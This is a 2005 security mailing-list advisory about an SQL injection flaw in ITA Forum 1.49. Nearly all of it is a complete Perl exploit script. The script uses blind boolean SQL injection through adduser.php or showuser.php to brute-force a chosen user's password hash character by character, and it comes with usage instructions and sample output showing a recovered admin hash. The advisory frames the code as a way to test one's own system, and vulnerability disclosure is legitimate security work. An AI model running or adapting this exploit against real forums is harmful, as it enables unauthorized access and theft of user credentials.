From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 16 Jan 2005 15:34:04 +0200
Subject: [EXPL] ITA Forum SQL Injection
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ITA Forum SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.ita-studio.com/forum/>; ITA Forum is "an online messaging
system, all developed in PHP, using MySQL as the backend database".
Due to a vulnerability in the way ITA Forum handles incoming data a remote
attacker can insert malicious SQL statements into existing ones. The
following exploit code can be used to test your system for the mentioned
vulnerability.
DETAILS
Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
# ITA Forum 1.49 sql injection exploit with one char bruteforce by
1dt.w0lf // r57
#
#
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# example:
# r57ita.pl http://127.0.0.1/ITA/ admin 0
# [!] Exploiting adduser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
# example2:
# r57ita.pl http://127.0.0.1/ITA/ admin 1
# [!] Exploiting showuser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# greets2:
# foster and all ghc members
$path = $ARGV[0];
$username = $ARGV[1];
$target = $ARGV[2];
$s_num = 1;
$|++;
if (@ARGV < 2) { &usage; }
if($target)
{
$string = $username;
$path = $path."showuser.php";
print " [!] Exploiting showuser.php\r\n";
}
else
{
$string = "Этот
логин уже
занят!";
$path = $path."adduser.php";
print " [!] Exploiting adduser.php\r\n";
}
print " Please wait...\r\n";
print " [";
while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
print qq{]
USER_NAME: $username
USER_PASS: $allchar
};
exit();
}
else
{
print "x";
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
$ccheck = $_[0];
if($target){
$http_query = $path."?uid=".$username."\' AND
ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
}
else{
$http_query = $path.
"?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com".
"&Submit=true&user_login=" . $username."\' AND
ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
}
# wanna view xpl work?
# print "\r\n$http_query\r\n";
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
@results = $res->content;
foreach $result(@results)
{
if ($result =~ /$string/) { return 1; }
}
return 0;
}
sub usage()
{
print q(
ITA Forum version <= 1.49 sql injection exploit ver2
usage: r57ita.pl [path/to/forum/] [user_name] [target]
targets:
0 - adduser.php
1 - showuser.php
e.g.: r57ita.pl http://blah.com/ admin 0
visit www.rst.void.ru for more info
);
exit();
}
ADDITIONAL INFORMATION
The information has been provided by 1dt.w0lf.
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